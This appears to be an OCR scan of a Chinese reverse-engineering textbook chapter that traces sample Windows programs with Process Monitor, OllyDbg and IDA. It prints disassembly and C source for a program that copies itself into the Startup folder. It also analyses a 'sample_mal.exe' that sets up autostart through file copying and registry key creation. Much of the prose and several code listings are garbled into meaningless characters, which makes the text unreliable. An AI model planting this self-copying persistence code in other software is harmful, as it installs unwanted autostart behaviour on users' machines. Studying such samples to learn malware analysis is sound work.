23:... _wsampleOlb. eze 4024 alauer:ﬂ:lpen C:\Documents and Setting='\NFWU=zer) [F4S] EH\EF\B& SUCCESS
28: “lwzampledib. eze 4084 @ RegCreateXer HECU, SoftwareiMicrosoft\WindowsCurrentVersion\Ezplorer’Shell Folders SUCCESS
23 T wsample0ib, eze 4084 @ RegSetValue HECUY Softwmre\Microsoft\Rindows\CurrentVersion\EzploreriShell Foldersh... SUCCESS
22, _lwmamplellb. exe 4024 # RegCloseker HECU\ Software'\ Microsoft \Rindows \CurrentVersion\Explorer\Shell Foldars SUCCESS
23:... |wsample0ib, exe 4084 S CreateFile C:\Mywsample0lb. exze SUCCESS
28: T wsampleOib, exe 4084 K QuerrattributeT. . C:\M\wsampleOib. eze SUCCESS
23:,.. _wsample0lb, exe 4084 ok Queryftandavdlin .. C:\MiwzampleOlb, exe SUCCESS
23, wsamplellh, eze 4084 2 QuerrBasicInfor. .. C:\W\wsample(1b. exe SUCCESS

4084 B guerrStreamInfo. . C:M\wzamplelib. exe
4084 2k guerrBazicInfor. .. C:iM\wzamplelib. exe

e 408 CreataFile C:h\Dacuments and Settings'NPMUzer) [Fi@] WA\ EF\ Bl \wvzanpleilhb.

waampl eOlb. exe 4084 '-Q;Eln:u!'iln

5 C:\Documents and Settings\NPMUser\ A8 RR\BF A

Tlwmample0lb. exe 4084 Sk Querrdttributel . C\Documents and Settingz‘\MPMUzer' |Fd] HAL\EF\ B\ weample0lb, exe

__wzamplellb. exe <4084 aQuEIFB&EiL‘II\f.DI. C:4%Documents and Settings'\iPMUszery [FHE] EH\ BT\ E& w=ampleilb, eze SUCCESS

Tlwmample0ib. eze 4024 B guerrittributel . C:iMyweamplelb. exe SUCCESS

lwsample0ib. eze 4034 Sk SetEnd0fFilelnf. . C:%Documents and Settings\XFPMUser'y [A#E| FA\EF S& wsanpleilb, exe SUCCESS
23:... _wsampleDib. exe 4034 D CreateFileMapping C:\Miwsamplelib. eze SUCCESS
23:... _lwsample0lb, exe 4084 K QuerrStandardin . C:\M\wsampleOlb. axe SUCCESS
29:... _|wsample0lb, eze 4084 Pk CreateFileMapping C:\Miwsample0lb. eze SUCCESS
29:, .. |wmample0lb, exe 4024 A WritaFile C:\Documents and Settingz\NPMUzer\ [Fd] RA\BF\ A&\ wanple0lb, exe  SUCCESS
-~ —_— * man damd B oA o m e -~ ' . e | rrm iR kA W A B vl s s s 4
£ >
Showing 441 of 225,833 events (0. 19%) Backed by wirtual memory

A XFCJF B 30 I 7 1)
FATAT AT <3 sl 3 il —1, IR wsampleO1b.exe XA

EA MMM EE Windows XP SP3, 15 RSEERA RIS ) 8l SCAF 1 4 FRAN B n]
RESHPIANA . £ Vista M FhicA Y, “Rahm 3k LU Mo E .

C:\Users\ ] "' % \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
1.3.2 A A A

i3 Process Monitor Ffi TR AEANIE L IRIXLEAE R, WIRERE - DIREARE P IZ 8, A7 2L
R AR

Pl s 2 — P B A IURE 2 e AN bug FOERAE, — ORI R /DN B4 L D RE.

o Wi
o HUDBEAN. Bhihh
o BF T A7 AR AN A7 H
W s REE L RE PP AR AL B P I KR AT I EhAE. BdTTn] LLAE Rl e &2 bug [R5

FERT— /O W, DMER S S i FE P28 . —BOR UL, WA Edlasif s, WL
FE2 N AR E W Al MR SRR, WL 14T 2 PR BB T A



W s BENE AL AT R B P WO SIS AT, TRERAT — 26452 A8 P b — DOt U AR B 20 Bk N ik
o st oiae, AT LLLL— 40452 0 AT AU 08 AL AN e 1T RE P (112 4,
PN N AF R B R . BENFIBE S 1) DX a0 R B

O VAN DR SR B N R

o WEH: ] BB ABEAN SR AL N, M0 R B AU AR — 45 48 2 R AT

I JrBoE BR A MNAAEEE 7, XA TR n IERE P R T T PR R T 74
A B HPRES

A= P P T R 28 4 OllyDbg 1.10, 222577 V115 2 LI 5%

e OllyDbg

http://www.ollydbg.de/

1.3.3 H OllyDbg il 22 F2 /7 [f1 £ 41 12 4
IAEBRA K wsampleO1b.exe i 5.3 OllyDbg [ 45 I

LI — g T e T e T (=3
L Ly i

ey~~~
B IFEs

RTFREEEE

| B

it oo o =i

 uriahorg e inplal 17 I el seocedae. T cal 10 bngea, 2 call 12 Quedbed ot

A 1] OllyDbg §T Jf wsample01b.exe
OllyDbg HJi [fi 445 LR JLANEB 43

o fi b FEIRICHE M
o /i l: WAFEE R H


http://www.ollydbg.de/

L Z':TJ: %?Iﬁ%%
o £k HHIHk

e 155 H DI REBAT T LA 1822,

D EPiauJ\ 00401000, % F OK %% .

o (£ 4T N H 1% CrltG
o {E AT AT B B HH 2 H b 11t Go To — Expression

A B R H R 00401000
X, I T I rp2s o ik 00401000 LLJG R 2 46
XSGR P 1B AR Y RV g AR I R

00401000 >/$ 55

00401001
00401003
00401008
0040100D
cookie]

00401012
00401014
00401017
0040101C
00401022
00401023
00401025

.
. B8 04200000
. E8 D3080000
. Al 00304000

8BEC

|. 33C5

|. 8945 FC
.
|
|
|

68 00100000

. 8D85 FCDFFFFF
. 50
. 6A 00

FF15 04204000

DS: [<GetModuleFlleNameW>]

0040102B
00401031
00401032
00401034
00401036
00401038
0040103A

.
. 51
. 6A 00

8D8D FCEFFFFF

6A 00

. 6A 07
. 6A 00

FF15 B4204000

DS: [<SHGetFolderPathW>]

00401040
00401045
0040104B
0040104cC
00401052
00401054
0040105A
0040105B
00401061
00401062
00401068

.
. 8D95 FCEFFFFF
. 52

. FF15 08204000
. 6A 00

. 8D85 FCEFFFFF
. 50

. 8D8D FCDFFFFF
. 51

. FF15 00204000
. 8B4D

68 14214000

Enter expres=zion to follow in Stack E%]

00401000 _:J

PUSH EBP
MOV EBP,ESP
MOV EAX, 2004

CALL wsampleO. chkstk

MOV EAX,DWORD PTR DS:[ security
XOR EAX,EBP

MOV DWORD PTR SS: [EBP-4],EAX

PUSH 1000

LEA EAX,DWORD PTR SS: [EBP-2004]

PUSH EAX ; |PathBuffer
PUSH 0O ; |hModule = NULL
CALL DWORD PTR

LEA ECX,DWORD PTR SS:
PUSH ECX

PUSH O

PUSH 0O

PUSH 7

PUSH 0O

CALL DWORD PTR

[EBP-1004]

PUSH OFFSET "\wsampleOlb.exe"
LEA EDX,DWORD PTR SS: [EBP-1004]
PUSH EDX ; |ConcatString

CALL DWORD PTR DS: [<lstrcatW>]
PUSH 0 ; /FaillfExists = FALSE
LEA EAX,DWORD PTR SS:[EBP-1004]
PUSH EAX ; |NewFileName

LEA ECX,DWORD PTR SS: [EBP-2004]
PUSH ECX ; |ExistingFileName
CALL DWORD PTR DS: [<CopyFileW>]
FC MOV ECX,DWORD PTR SS: [EBP-4]

DUAERAT e A% N IR 7 AT # A

SRR AE SR Y



0040106B |. 33CD XOR ECX,EBP

0040106D |. 33CO0 XOR EAX,EAX

0040106F |. E8 2F000000 CALL wsampleO. security check cookie
00401074 |. 8BES MOV ESP, EBP

00401076 |. 5D POP EBP

00401077 \. C3 RETN

WP Re ) <A AKX, —AERINEIRE A TWe? " HSH AL T3
ARG BATF M A bs e i AR 2R T T4, SRR AR . AT 2
SEaB R A NI, UERER A KB Al AT .

1.3.4 X GRS 24T 0 Ay

PHELE BRI E R 00401000 ZJa PR FATRIE UG T
GetModuleFileNameW. SHGetFolderPathW. IstrcatW. CopyFileW X JL/™ A %L

[HIAE—"F, NI FATH Process Monitor TV28 & ILFE)T4 )i 817 SCAFIE & e, FATTa] LA
HeW« LT CopyFileW BREUS & R BATIX—EAE)” . -G, RMERE AR g, HZE
RE R HEHEIN tH A2 7 B AR AT T

B2, BATHIHEN A IERE ? 7] LUl P 18T DhRe kil — T .

ek 00401000 FITLEIIAT, SRJGHE F2 4, Bl sy f DS B Fh 1 4% Breakpoint —
Toggle. X}, Hihk 00401000 FIHF S ML, XU HHERATELAE 00401000 FIFE W E
T =AW s

PRI E FO B, sCHEAER L EJrse i sl Debug — Run. X, OllyDbg 2333
wsampleO1b.exe, 4EEW SUITAER) 00401000 £7 B R, FEPSEIFIEIT.

011¥Dbg — w=samplellb. exe — [CPIT — main thread, module w=zampleO]

Eile View Debug PFlugins 0Options Windew Help

Sl x| w0 w4 L 4| 3 LiEM|T|WiH|C|/|KIB|R|..[S| FE[E|?]

R A FUSH EEF
ha4Ea1@a1| . EBEC MOl EEF,ESF

EE4ElEEs| ] . B2 B4200808 MY ERF, ZEE4

aE4@iaEs| | o ES DI8200a8 CALL wsampled. @04812E8
AE4E1EED | « H] BE3840688 MOW ERX, OWORD PTR DS5: [46838661]
aad4aialz|| . 33CE #OR EHX, EBP

AEd4E1E1g4)] . 8945 FC MOU OWORD PTR 55:LCEEBF-41,ERA
EE4E1EIF] . 62 BA1EEERE PUSH 1866 BufSize = 1888 (4896, 1
HEa4E1E1cC)| o 8085 FCOFFFFF|LEA ERX,OWORD PTR 55: [EBP-ZEE41]
Ba4E1822)] . EA FUSH ERX FathBuffexr
BEd4EalEzs(] « 6A Bg FUSH & hModu le = HULL
aE4EiEz5 |l « FF1E B4Z204800) CALL DWORD PTR DS: [+&%KERMELZZ.GetModu lel L GetModu LeF L LeMamell
AE4E1E2E|| « 8080 FCEFFFFF|LEA ECH,DOWORD PTR 55: [EEP-18841

aodatosf|] &1 PUSH ECh

A FEIFALE 00401000 7] K7 2 kb B {5 32 47

Bk, AT LURN RoPIsAT, BARIBITIRF T HIfRY . % F7 XonHo DBk, #% F8 Xon
FOBEEH . T RAIAFEBE N GetModuleFileNameW F11 SHGetFolderPathW & £ (1) N 5
AR X L FRAT14% F8.




BEEBHXIL N F8, FEFPARRPAT 45482, [AINA EJ7 & AF4s o DAA 5 IRA e
N R A A

MAEFRA R P —EHIE AT 2] 00401062 [ )7, a2 CopyFileW < HIHIALE . XK,
Tk 2 fras i CURIA T 1, FRATTAT LA 2S5 I SO A A0 H AR A2

H T ILAE CopyFileW A #AH, RIS 8 A e b a3 X W R FRATTH- IR
R F8 B, FPia A CopyFileW pR%L, MAEFE— N Jash 30k, HATS R
eI T wsampleOlb.exe SC1F.

LA A, AT ORI 247 RE  E 2, ANITHRTE ZEAEMRAS IR Ta) 53k AT T BRI
#AE, KB

RPN gt

e CPU WIHIAF i), BEDF7 4 al A H A7, a0 nlifE EAX,
ECX. EDX. EBX. ESP. EBP. ESI. EDI. EIP,

XA BT S I I& . 10 ESP F1 EBP 45 2iA%, 1 BIP WIFE M) 474 T 1

4.

OllyDbg 47 I 75 ¥ A7 A4 B 1 v 43 o i A 27 A7 28 B

N 5 O O = B |
TR RS R

A OllyDbg 1] %5 17 %% & [

WRFATLE OllyDbg H#4  F8 i F7, FERFEISHIT 4184, XB AT LIE 3
EIP [P 2 MR P T AT H5 2 1K AN T 18 i

{E EIP (I R 504 Cy Py Ay Z. S. T. D. O XJLNERE, EAIRRERRE. —BIRAT
SAEIXRSCFRE SN E—AFFE F (Flag W 51 , B1F CF. PF. AF. ZF, X¥&k5
ST &3, an X,



. 5 ZFM1 ) Bk
. # CF N 1 MASBk4

AR FHEMM T EAX. ECX. EDX. EBX. ESP. EBP. ESI. EDI. EIP U\JZ & MFr
Umﬁ%ﬁﬂﬁﬁfﬁﬁ BeA 1 vl AT S0 0T T Kﬂkhz%uﬁif 2 BoR HAth — L 25 17
PRIPME, KT IR AA, FRAMNLEF Y FHEL THOAR

1.3.5 Bothrds B 5P ST L

B&E, AT = F) H wsampleOlb.exe PP, KRZEAT LUK H QM I 45 5 PL A Sk b i
AH EI’J%I}?@?H I AT L EL .

V wsample01b.cpp

#include <Windows.h>
finclude <tchar.h>
#include <shlobj.h>

int cpy(void)
{
// 3REUH 5 SR AR
TCHAR szThis[2048];
GetModuleFileName (NULL, szThis, sizeof (szThis));
/7 BRBONR B SR A
TCHAR szStartup[2048];
SHGetFolderPath (NULL, CSIDL STARTUP,
NULL, SHGFP TYPE CURRENT, szStartup);
lstrcat (szStartup, _T("\\wsampleOlb.exe"));
VAR A=E- %5 NSRS RS
CopyFile (szThis, szStartup, FALSE);
return 0;

}

int APIENTRY _tWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)
{

cpy ()7

MessageBox (GetActiveWindow (),
_T("Copied!"), _T("MESSAGE"), MB OK);
return 0;

FEBAE T, FATT T B2 H A= EE R i S o Ak i shas 0 A

MR RERTE, FRS DTS DO T2 5isty HARE >, (EANEH D NI
Wb SO = a5 T o N0 Y P TE o U=t 5 A T e = g S R

e, AEBEAT A AR, — AR SE A Stirling A1 IDA B — MR T, ARG



OllyDbg HL P iE 4T KB — LR S 1 1

2R, ERUERAD NG, a0l BERERMRER, KER5Ean] LI
R A AT

LA R H CE RIS
Windows M5 HH A LK B A, SR NS85 G BT AN

. OllyDbg

http://www.ollydbg.de/

o Immunity Debugger
<http://www.immunitysec.com/products-immdbg.shtml.
. WinDbg (32 {7 fix 4 )

http://msdn.microsoft.com/zh-cn/windows/hardware/gg463016

. WinDbg (64 {7 it A )

http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

Hr OllyDbg & — M EH WATH L H, Immunity Debugger A1 OllyDbg —#£ H 2% K TE H
F 5. BT Immunity Debugger F1 Python [ AP =y, [KltE 52 2 Python %% 135 1K
i, {HEF#E H L OllyDbg A1 WinDbg, [AtX] Immunity Debugger J- AWK (1) o

WinDbg A KIEEHF, ALELF WA E. A, N WinDbg AEHSX RA N
AL I FR AT AR, PRI AE 2 M1 Rootkit IXFEAE Windows P AZ H 12 4T )% 2 R st
e BATFE

KT HwIMATIH) OllyDbg, Huifa tL &1 1.10 fRAS, PAREITTIT R 2.xx WA . BoHT
PIRRARANGE 1 PUE R LT, M IIREEETT KRB AR K, B 5 2 — K E AR 8 L
H, A f—Le N\ = i H Bk


http://www.ollydbg.de/
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463016
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

L4 2E AR g 4R 4
L4.1 Kb EACAE T ME 4R 2
S

WL PR A A T RSSO, AR CE e B a—Fa T L T .
IRRK GG LA G BA D e e, A RER 2 BB I i i A3 LM S

IR B JERAEAEE FL e 7 RUAHIE AL TS S

AN Reth 5 IR B AR L, TEgWiE 5 IR B 230, DUV AR ERIL 1000 4%
A BE S BRI, MEREARAIE g O N AT 1%

A, BESEAERY, AR ) DR R BRI TE S PO IR A2 . IEW Windows  fE
7 SB0 EACAE B AT Y] Windows APT b4, 508 ] TREAR A BEACAE K2 MTL W45 2
BRIASIRSE — Pt 1, Kb BT EER KRS WAte 20 ~ 50 &4

N AT NI DR R EER AL AR, IR CPU W LARJR
i1

EOCBAPREF“LLEE 1 W W A bR 5 T2 KRN AR LT
B NIEGE, AR NAZ B RE A LT T .

WA/, 3K HL U A PN 2 AT B 2 16 0 B 2 H b, AR T HERRTE . RS 2%
RERRNEE I GTE 5 G, F S LB b — FIXERS A,

AR R

5% Nl o B

MOV MOV EAX,ECX [[EAX = ECX ¥ ECX HMEAN EAX

ADD ADD EAX,ECX  [||[EAX +=ECX ¥ BAX HIMEIN_E ECX HIME

SUB SUB EAX,ECX EAX -= ECX ¥ EAX M{H %2 ECX KIME

INC INC EAX EAX++ ¥ BAX HIME 0 1

DEC DEC EAX EAX-- ¥ EAX [F{EI 1

LEA LEA EAX,[ECX+4] [|[EAX = ECX+4 ¥ ECX+4 A7\ EAX
HOAX T EO0 a7 HeBOF AR 25 TR A6

CMP CMP EAX,ECX # EAX 5 ECX #H[F], W] ZF=1
elS;FZO ¥ EAX 5 ECX AJf, W ZF=0




HEAXTO st o 7B FARIR A R o6

TEST TEST EAX,EAX # EAX N0, W ZF=1

else
Za A4 0, M) ZF=
4 EAX 0, M ZF=0

if(ZF==1)

JE(JZ)  ||JE 04001000 GOTO 04001000

¥ ZF 731, MBkE 2] 04001000

if(ZF==0)

INE(JNZ) ||JNE 04001000 GOTO 04001000

# ZF 30, Wk E] 04001000

JIMP JMP 04001000 GOTO 04001000 |[ TG 4% Bk%F 04001000
CALL CALL IstrcmpW P H Istremp W

PUSH PUSH 00000001 # 00000001 A%

POP POP EAX HEIER R AN EAX

1.4.2 VL 9niE 5 A2 W] SE IS F 4 S )

WRA—EMgmIEER, B 7 _LiiXskR N IZRE AR — 1 UL ERie4 . T 75 224 it B Y
B N1Z A cmp. test LA je. jne X LA, IXUEFRAH TAEN il 5 H SE A0 5o

B AEE SR, A ify switch SEORE TORRILGZAT I SCH. AR gWiE S,
AT RS T emp test 5%, LASARIEAR 58 1 SCM B EE S HE 2 ok ST .

ZEN 1, i%i(%@?"ﬁ*? ~ wsample0la.exe. MM, SHAWG2ITSEER N
2012, ARJE R RAFENEE, XM &0 32,

FATHRE—F wsampleOla.exe IV ZmfChid .

V wsample(la.exe

00401000 ; int  stdcall wWinMain (int,int, LPCWSTR lpStringl, int)
00401000 wWinMain proc near

00401000

00401000 lpStringl = dword ptr 10h

00401000

00401000 push ebp

00401001 mov ebp, esp

00401003 mov eax, [ebp+lpStringl]
00401006 push offset String2 ; "2012"
0040100B push eax ; lpStringl
0040100C call ds: imp lstrcmpW@8 ; lstrcmpW(x,Xx)
00401012 push 0 ; uType
00401014 push offset Caption ; "MESSAGE"
00401019 test eax, eax (R0
0040101B  dnz short loc 401035 M43

0040101D W7RHello! 2012



0040101D push offset Text ; "Hello! 2012"

00401022 call ds: imp GetActiveWindow@O ;
GetActiveWindow ()

00401028 push eax ; hWnd

00401029 call ds: imp MessageBoxW@1l6 ; MessageBoxW(x,x,X,X)
0040102F XOor eax, eax

00401031 pop ebp

00401032 retn 10h ; lpCaption

00401035 loc 401035: E7"Hello! Windows
00401035 push offset aHelloWindows ; "Hello! Windows"
0040103A  call ds: imp GetActiveWindow@O ;
GetActiveWindow ()

00401040 push eax ; hwWnd

00401041 call ds: imp MessageBoxW@16 ;
MessageBoxW (x, X, X, X)

00401047 XOr eax, eax

00401049 pop ebp

0040104A retn 10h

0040104A wWinMain endp

H#E 0040101B B35 L 7> jnz $5%, IXmE 0 SCHTAE I B .

00401019 £ test 152, ﬁ%%iﬁé?ﬁ%*’l‘ﬂﬁ@iﬁ%% and 5%, A FRIRAHE N &
1] “IB and $54 MEME? "IXAEUE N AN ER SR T T, R FRATH A n) AR 15 ) R —

test eax, eax )= 2, Heax N OB ZF BN 1.

TERZHIGO T, test TR AR B AAEIFI I 25 728 24 PR, I test eax, eax, B test ecx,

€CXo

R, REERTA WA MR STAS test 1584, — Mol & 5032, nf LLfa] s BRAR A<y
FATREN 0, WK ZF HH 17,

inz fe A EEAE, 2 ZF A4 0 kAT . R, ¥ jnz F5F0 test i 4 45 At kel s B
TR

o 77 eax A 0 N ABki%

o i eax A 1 N BkH:
M4, eax {H N AEMHEESRFIVE? & /& 0040100C H call IstrempW FIR [FIE
1.4.3 SEAFIRAEFL+
call 84 MR FIREFR, X— SNz AR, &R PHE A eax o IXHATLL
FAEE— PG, 2R ZHUE AR TS IXFEMUTT o B DL AR ) A A4+ F2 7 1 ik [

HEIRAE eax HWE? "HAHABEMEIR: <& MG " BIAIHCHWE S WS TP
A, B ZAC R R [BHEAF JHE eax



W, ALdL TR ZEOAEN e ? ZHCETETE push $5- A7 /EREH . OllyDbg 47
Joe ke 1, KEATUERSE —F, &ZA3UT push 520, push FIE LSBT o

g LR, FREFE I A A AR AR DY T I AR
vV C i 5 ek Zo i

function (1, 2, 3):

Vg iE P R eR EOR

push 3
push 2
push 1
call function

VLG 5, RO RS IERT U AR, HSeX oy i i AR Y CPU A4 i
%%Tﬂﬁﬁfﬂﬂﬁﬁ,ﬁﬁﬂﬁﬂﬁﬁﬁmﬁf&%%ﬁWﬂﬂUTo

#ilan, 00401006 £i7 & ARSI .

00401006 push offset String2 ; "2012"
0040100B push eax ; lpStringl
0040100cC call ds: dimp 1lstrcmpW@8 ; lstrcmpW(x,x)

WMRBE I CTEF 22T AR ?
BT ZHCEMNFERTARRR, R 202 B I

eax = lstrcmpW(eax, "2012");



BAINA Eadiid, RIMERAFBAE eax HIH.

IstrempW PRELINIIEEZ, MSEH AR R ARFE R, WERE] 0, HUGREEE 0. KL,
I eax 5 2012 #HIA], 45 Bk & eax=0.

00401019 1] test 527~ 47 eax A 0 WPKs ZF E o 1, 0040101B [ jnz $523R7~2 ZF 3 0 i)
AT . DAL, Y ZF 4 1 B AT, M2 4kadT 0040101D 454, 4%
St iEs T Hello! 2012 3X 4531 &

WRNIA IR, AR A, WAt a KmE, @O RIR 2 s — i
wsampleOla.exe )7 gw LA .

ARG 2 S A iz, FURRACIEE S T — AN K, mIlAeERNIC g 758
C$e 2, FAEIS RN A FF R RN ? AW L2 AT A2 B T (D
A RFRG N HERHZ ) ?

1.4.4 NI gaARAS IR AR 2] C 1 5 YA

FEATERE—F wsampleOlb.exe IV ZwAHS .

EAN TR BN TE R TIS M, BHEAE DA HindE AT Il ghs, A3
ﬁﬁﬂgﬁ?ﬁ?ﬁﬁ%%*%o ] O S IX B AR, R ReANReAE il TP AL B AR (1) C B 5
PEACAES e ?

V wsample(01b.exe

00401000 cpy
00401000 ExistingFileName= word ptr -2004h

00401000 NewFileName = word ptr -1004h
00401000 var_ 4 = dword ptr -4
00401000

00401000 push ebp

00401001 mov ebp, esp

00401003 mov eax, 2004h

00401008 call _chkstk

0040100D mov eax, _ security cookie
00401012 XOor eax, ebp

00401014 mov [ebptvar 4], eax

00401017 push 1000h ; nSize
0040101C lea eax, [ebp+tExistingFileName]
00401022 push eax ; lpFilename
00401023 push 0 ; hModule
00401025 call GetModuleFileNameW
0040102B lea ecx, [ebp+tNewFileName]

00401031 push ecx
00401032 push 0
00401034 push 0
00401036 push 7

00401038 push 0
0040103A call SHGetFolderPathwW

00401040 push offset String2 ; "\\wsampleOlb.exe"
00401045 lea edx, [ebp+NewFileName]

0040104B push edx ; lpStringl
0040104cC call lstrcatW

00401052 push 0 ; bFailIfExists



00401054 lea eax, [ebp+tNewFileName]

0040105A push eax ; lpNewFileName
0040105B lea ecx, [ebp+tExistingFileName]

00401061 push ecx ; lpExistingFileName
00401062 call CopyFileW

00401068 mov ecx, [ebpt+var 4]

0040106B XOor ecx, ebp

0040106D XOor eax, eax

0040106F call __security check cookie

00401074 mov esp, ebp

00401076 pop ebp

00401077 retn
00401077 cpy endp
00401077

00401080 wWinMain
00401080 call cpy

00401085 push 0 ; uType
00401087 push offset Caption ; "MESSAGE"
0040108C push offset Text ; "Copied!"
00401091 call GetActiveWindow

00401097 push eax ; hwWnd
00401098 call MessageBoxW

0040109E XOor eax, eax

004010A0 retn 10h
004010A0 wWinMain endp

T wsampleOlb.exe TR 2 R, b R Z3E % T push F1 call PN IZ L RE &
TRES I T .

£ cpy PREIFLI ExistingFileName. NewFileName. var 4 #/2&pREF T R A= . lea
eax, [ebp+ExistingFileName] H' ExistingFileName A [ — —A ebpt, XAMEKFKE H 2N,
HELP# h ¥4 ExistingFileName [P HuHEAE R eax” 5l AT LA T

R C 1S TR IZZ& N IR ET

char ExistingFileName[2048];
eax = ExistingFileName;

PIXH, FERFCOLREEE wsampleOla.exe F1 wsampleOlb.exe K2t ) USHITEgaAt;
T, XFHEEET KRB O T .



| IR BUR{ BT E (=S T2 S X M)
1.5.1 &5 pR 20 B B A

FEATE I Bl B2t sample mal.exe BATRE T, EATEJE, TADKIEHATEI K
FUREE o M — R IXARER, TG §E 2 KSR 14T 0

H 5 H OllyDbg 4T sample mal.exe, #RJ57E NI gt P i A8, 7k ik +¥ Search

for — Name in all modules.

% MK, Mﬂ?ﬁmuﬁﬂ%$ﬁﬂ*ﬂﬁEmmmR%&MMﬁMﬁwuommgﬁﬁﬁ
B R PG AT R, H N RegSetVa... it i UBLIHE E A 31 H bR % T .

m All names |Z”E|[z|

Address  Module |Section | Tupe Hame

FrOESC2E AOUARIZZ| . text Export RegRestorekewr T
FrOEECOE ADUARISZ| . tent Export RegRestorekeull

TrOES0&EA ADUARIZZ| . tent Export RegSavekeyR

FrOEEFZY ADUVARIZZ| . text Export FegSawsekewERA

FrOEEH1E AOVARISZ| . text Export RegSauekewEnll

FrOESESC ROUARISZ| .tedt Export RegSauekeull

FrOASADD AOUARISZ| .tedt Export RegSetKewSecurity

FOSE18CC SHELLZZ | .tedt Import AOUAFIZZ.RegSetkewSecur ity

FrOHCFPEE BOUARIZZ| . tent Export RegSetlUalueA

FrFz21818 SHLWARI |.text Import AOUAFIZZ.RegSetlalusR

BE4E2EA0 sample_m| . rdata Import AOLAFI 22 . RegSetllalusEnA

TrOSEAD? ADVARIZZ| . tent Export | RegSetWalusExA -
FrE3182C BPCRT4 . hENT Import AOVAFIZZ.RegSetlalusEnA =
FrEz21848 SHLWAPI | .text Import AOVAFIZZ.RegSetllalusERA
FEZE18AC IMM32 . tent Import AOUVAFIZZ.RegSetlUalusEnl
Frl6lBan comct l32 . tedt Import AOUVAFIZZ.RegSetlalusEnll
FrOS075Y BOUARIZZ| .text Export RegSetUalueEnll

FrF21818 SHLWARI | .text Import AOUAFIZZ.RegSetlalusEnl
TrFA1888 Secur3? |.text Import AOUAFIZZ2.RegSetlalusExl
FOSE1E1E SHELL3Z | .teHt Iqeort HEUHPISE.REESEtUalueEHN

I+

A KLY R E O
Kk B B 44 it = Bk BN R B TSk, B8 R RIRATAE T AR EIAT B A B A

e RegSetValueExA
e RegCloseKey

e RegCreateKeyExA
e CopyFileA

TR H AR R BRSPS PR BExport 5 5 — & Import. 1E KEKAERT Ny Export
) R A3 T X 8 L

RegSetValueExA. RegCloseKey. RegCreateKeyEXA {7 T ADVAPI32 fitlh, 1 CopyFileA 1.
T kernel32 ftlrh

% F9 1217 sample_mal.exe, F£/PSEWT AR 151217,

¥ Ctl+F9 (IB4T4 Return 4b) 841 Alt+F9 GEiTRH ML) , FEPSgkaiisfT 2K
QLA EILNR:



A CopyFileA b8 2R

01l1¥Dbg — zample mal.exe — [CPU0 — main thread, module sample ml

Eile View Debugz Fluginz 0Options Windew Help

Bl x| »] i+ L

BE4E13EE
BE4E13E7Y
BE4E13E2
gE4a12EF
aE4a13F4
BE4a13Fs
BE4E13F2
BE4E13FR
BE4E1461
BE4a1482
BE4a1487
gE4a148:3
aE4a148F
AE4E1418

BE4E1414
BE4a1416

Oll¥Dbhg — =zample mal. exe —

&A B8
204424 B4

&R AL
205424 E&

FFD& CALL ESI

2B20 SCEA4AAG| MOU EDI,DWORD PTR DOS: [<&KERMELZZ. lstrca
22 24214000 | PUSH sample_m.884682154

205424 54 LER EDH.OWORD FTR S55: [ESF+541

52 FPUSH EDX

FFO? CALL EDI

2E10 12204000

@ FUSH ERX

g0ac24 Sea48el LEA ECH, DWORD FTR S55: [ESP+4521]
a1 FUSH ECH

FFDOZ CHALL EEX

&R A8 FUSH @

H SH

FPUSH &

QBEHESH.DNDRD PTR DS: [<&KERMELZ2.CopuF i
LEA ERX,.OWORD PTR S5:[ESP+E41]

FL =]
LER EDM,.0DWORD PTR S5:[ESP+52]

(o] fry 3t 5

H » viEjM{T|WH|C|/[K[BIR|..|S]| i=H]?]

<&SHELL32. 5HGet SpecialFolderPathA>
kernel32. letrzatA
StringToRdd = "-B.exe™

Concat3tring
letrcath
kernel3z2.CopuFileR
FaillfExists = FALSE

HewF i LeMams

EnistingFileMame
CopuFilerd

[CPT — main thread, =

Eile View Debuz Flugin= Optionz Windew Help

odule =zample m]

BE4a1z1y
BE4a131A
BE4E121R
BE4a13210
BE4a13268
aE4a1321
aE4a1322
BE4E1327
BE4E1 228
BE4a1320
BE4E132E
BE4a1332
BE4a1332
E481 238

BE4E1 343
BE4a1245
BE4E1342
BE4E134E
BE4E134E
BE4E134F
gE4a1358

. S045 Fg LEA ER,0WN0RD PTR S5:[EEBF-21
. E@ PUSH ERH

. 25F% HOR ESI.ESI

. 8040 FC LEA ECi,0WORD FPTR S5:[EEF-41
. B1 FUSH ECH

. G& FUSH ESI

. 68 SFEEEFEE | FPUSH GFGESF

. G& FUSH ESI

. B2 A4214@88 | PUSH cample_m. BB4621A4

. B& PUSH ESI

. B2 CC214@8  |PUSH sample_m. BE4E2100

. B8 D2EE0ESEH JSH SREREGEES

. 8975 FC MOU DWORD PTR 55: [EEP-41,ESI
. FF1E B3284888 CALL DNDRD FTR Ds: [<&HDUHP132 RegCreatel L
. S5CA TEST E

w75 2B JHE SHDHT zamp le_m. BA4E13TE
. SBEE AC MOU ED, DWORD FTR 55: CEBF+C]
. SB45 B3 MOU EQX.OWORD PTR S5 [EEP+2]
. S840 FC MOL EC,DWORD PTR S5: [EEP-41
. B2 PUSH EDX

. GA FUSH ERX [
. BA 81 FUSH 1

Slx]| wjl] wijed 4] | » LlE|M|T|WIH|C|/|K|B|R|..|S]

A RegCreateKeyExA pf iR [A] 1) 3 7

THRSE N5 s B A,

ERRAEI T -
1.5.2 SOl g P88 28 i
P FRFATTH IDA $TF sample mal.exe, HH —LE i E R 2H,
B 5EHRE ] 0.exe A 1exe 1ML

V sample mal.exe

.text:
.text:
.text:
.text:
:004013D0

.text

.text:
.text:
.text:
.text:
.text:

004013C2
004013C7
004013CE
004013CF

004013D6
004013DC
004013DE
004013E0
004013E4

push 400h
lea eax,
push eax
push ecx
call ds:
mov esi,
push 0
push 7
lea ecx,
push ecx

; nSize
[esp+85Ch+ExistingFileName]

; lpFilename

; hModule

_imp GetModuleFileNameA@1l2

ds: imp SHGetSpecialFolderPathA@Rl6
; fCreate
; nFolder

[esp+860h+Datal

; lpszPath

BLREYS W] PRS2 Wy B4 T =L SCA

=|E 7

rpdisposition

pHandle

pSecurLL = HULL

Hooess = KEY_ALL_RACCESS

Opt ions => REG_OPTIOM_MOM_WOLATILE
Class = ™"

Fezerwed =» @

Subkey = "Software~Microsof t-Wlindows
hkew = HKEY_LOCAL_MACHIHE

FealCreatekeyEnA

BufSize
Buffer

